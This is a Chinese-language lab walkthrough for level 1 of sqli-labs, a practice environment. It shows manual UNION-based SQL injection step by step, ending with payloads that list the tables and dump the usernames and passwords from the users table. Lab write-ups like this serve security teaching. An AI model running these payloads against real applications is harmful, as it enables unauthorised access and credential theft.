sqli-labs第一關
方法一:手工注入
來到第一關,圖上說我們需要一個數字的參數
于是我們先手工注入?id=1 and 1=1 跟?id=1 and 1=2發現頁面沒有報錯
每張截圖上面頁面中有select查詢語句,這是我在第一關的源碼中加上了echo "$sql "; 為了能夠跟清楚的了解sql注入的原理
于是我們來判斷一下是否為字符型注入,嘗試?id=1'發現頁面報錯,此題應該為字符型注入
于是我們拼接字符串?id=1' and '1'='1頁面回顯正常
然后我們使用order by來確定表中的列數,為什么我們要確定表中字段的列數呢?是因為我們的union聯合查詢
聯合查詢特點:
1、要求多條查詢語句的查詢列數是一致的! 2、要求多條查詢語句的查詢的每一列的類型和順序最好一致 3、union關鍵字默認去重,如果使用union all 可以包含重復項
于是我們構造?id=1' and '1'='1' order by 1--+ 頁面回顯正常
?id=1' and '1'='1' order by 2--+ 頁面回顯正常
?id=1' and '1'='1' order by 3--+ 頁面回顯正常
?id=1' and '1'='1' order by 4--+ 出現報錯界面
然后我們就確定了字段數,于是用聯合查詢?id=-1' union select 1,2,3--+ (將id弄成一個負數的值,使前面的語句失效)然后看看union查詢是否有回顯位
這樣我們就看到了2,3這兩個回顯位
然后我們利用union查詢,查看數據庫的版本和數據庫名,這里面我們再補充點知識點
version():查看數據庫版本
database():查看使用的數據庫
user():查看當前用戶
limit:limit子句分批來獲取所有數據
group_concat():一次性獲取所有的數據庫信息
當我們簡單了解了這個之后,我們再進行下面的步驟,相信大家有了深刻的理解
接下來利用這兩個回顯位來查詢數據庫,和數據庫版本信息
?id=-1' union select 1,database(),version()--+
然后我們知道了數據庫是security,版本信息:5.7.26
再爆表之前我們先了解一波知識點:
information_schema.tables:包含了數據庫里所有的表
table_name:表名
table_schema:數據庫名
column_name:字段名
然后我們利用union查詢來爆出表面寧
?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+
于是我們爆出了表名
然后,由我們正常的思維,我們的賬號和密碼肯定在一張表上,我們看到了users表,
于是我們查看一下這張表的字段名
?id=-1' union select 1,2,group_concat(column_name)from information_schema.columns where table_name='users'--+
我們看到了username和password字段,
然后我們就去查詢字段信息
?id=-1' union select 1,2,group_concat(0x5c,username,0x5c,password) from users--+